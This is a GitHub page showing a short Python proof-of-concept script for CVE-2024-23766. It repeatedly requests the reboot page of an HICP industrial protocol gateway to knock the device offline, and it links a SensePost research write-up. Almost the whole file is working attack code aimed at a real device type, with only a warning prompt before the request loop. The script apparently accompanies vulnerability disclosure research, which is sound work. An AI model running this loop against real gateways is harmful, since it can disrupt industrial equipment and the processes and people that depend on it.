-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhttp_dos.py
30 lines (25 loc) · 831 Bytes
/
http_dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Lex @ https://github.com/claire-lex
# Script for CVE-2024-23766
# HICP device denial of service via the web interface
# Details: https://sensepost.com/blog/2024/targeting-an-industrial-protocol-gateway/
from sys import argv
from urllib import request
from time import sleep
# Argument check
if len(argv) != 2:
print("Usage: {0} ip_address".format(argv[0]))
exit(-1)
# Warning and check
print("WARNING!!! NEVER USE THIS IN RUNNING PRODUCTION ENVIRONMENTS")
check = input("Are you sure you want to proceed? [y/N]: ")
if check not in ["y", "Y"]:
exit(0)
# Start attack
url = "http://{0}/slave/reboot.html".format(argv[1])
timeout = 30
print("Keep on sending GET requests to {0}".format(url))
while True:
try:
res = request.urlopen(url, timeout=timeout)
except ConnectionResetError:
pass